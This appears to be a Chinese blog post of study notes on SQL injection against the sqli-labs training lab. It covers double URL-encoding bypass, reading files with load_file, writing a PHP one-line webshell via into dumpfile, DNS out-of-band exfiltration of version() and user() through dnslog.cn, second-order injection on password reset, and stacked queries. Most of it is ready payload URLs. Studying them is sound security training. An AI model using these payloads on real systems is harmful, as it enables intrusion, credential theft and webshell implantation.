sql注入之 读文件 写文件 带外 二次注入 堆叠注入

二次解码注入

url编码  在前面加上%

比如\  它的ascii码是92 那么92对应的16进制是5c 所以它的url是%5c

php解码函数 urlcode() rawurlcode()

默认的GETPOST请求 php会先解码一次

例如  admin’ –> admin%27 -> admin%2527 -> admin %27 -> (转移函数) -> admin%27 ->url解码 ->admin’

输入时 输入 admin%2527 因为%25=% 浏览器解码为admin%27 经过php中url函数解码为  admin' 从而实现注入

还有各种uu base64 ..等等。

 

读写文件漏洞

         配置在my.ini文件里  secure_file_priv 函数

         如果没有参数  则为没有限制

         如果为NULL 代表不能

         还可以指定路径 指定参数 则可以访问指定参数的路径 

用@@datadir 函数先确定是否为phpstudy

判断为phpstudy

接下来利用读文件函数 在指定显示位爆出文件内容

http://localhost/sqli-labs-master/Less-2/?id=-11 union select 1,load_file("F:\\phpstudy\\PHPTutorial\\php\\php-5.4.45\\php.ini"),3

写文件操作(可以用于写入木马)

可以将爆出的数据保存到指定位置

http://localhost/sqli-labs-master/Less-2/?id=-11 union select 1,load_file("F:\\phpstudy\\PHPTutorial\\php\\php-5.4.45\\php.ini"),3  into outfile "F:\\123.txt"-- -

或者上穿一句话木马到指定站上文件

http://localhost/sqli-labs-master/Less-2/?id=-11 union select "","<?php @eval($_REUQUEST[666])?>",""  into dumpfile "F:\\123.txt"-- -

dumpfile 和outfile区别   dumpfile可以去掉两端空格 可以只上传一句话 outfile有空格 可能会出现影响

如何确定网络路径

@@datadir @@basedir

 

带外攻击

工具网站dnslog.cn

利用dns服务器的原理 将一个网站域名进行解析 顺带着i想爆出来的内容

例如:

http://localhost/sqli-labs-master/Less-8?id=1 ' and  load_file(concat("\\\\",version(),".43nq11.dnslog.cn\\1.txt")) -- - 

在dnslog.cn网站就会显示

 

 

解析出来的网站不能带特殊符号,所以user()函数不能用 需要进行转码函数 

http://localhost/sqli-labs-master/Less-8?id=1 ' and  load_file(concat("\\\\",hex(user()),".43nq11.dnslog.cn\\1.txt")) -- -

然后去转码网站将编码转回来就可以得到结果了

 

二次注入

存在于注册忘记密码等界面

首先分析在注册登陆和重置密码页面是否存在注入点

注册不能覆盖 (发现可以找到哪些用户已经被注册)

修改密码->发现各密码字段不能注入

注入原理大概是 我想修改admin的密码 我去注册一个admin' -- - 的账号 然后在重置密码页面因为你的账号和语句拼接导致后面的旧密码验证注释,所以可以直接修改admin的密码 

实战操作

登陆这个账号

然后重置密码 这时候重置的就是admin的密码 

登陆即可

防御手段:在注册界面限制输入特殊符号 

堆叠(多语句)注入

musqli_multi_query函数 可以执行多条sql语句

先找到注入点,再写sql语句 用;隔开

http://localhost/sqli-labs-master/Less-38/?id=1';select "<?php phpinfo();>" into outfile "F:\\abc.txt ";-- -

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值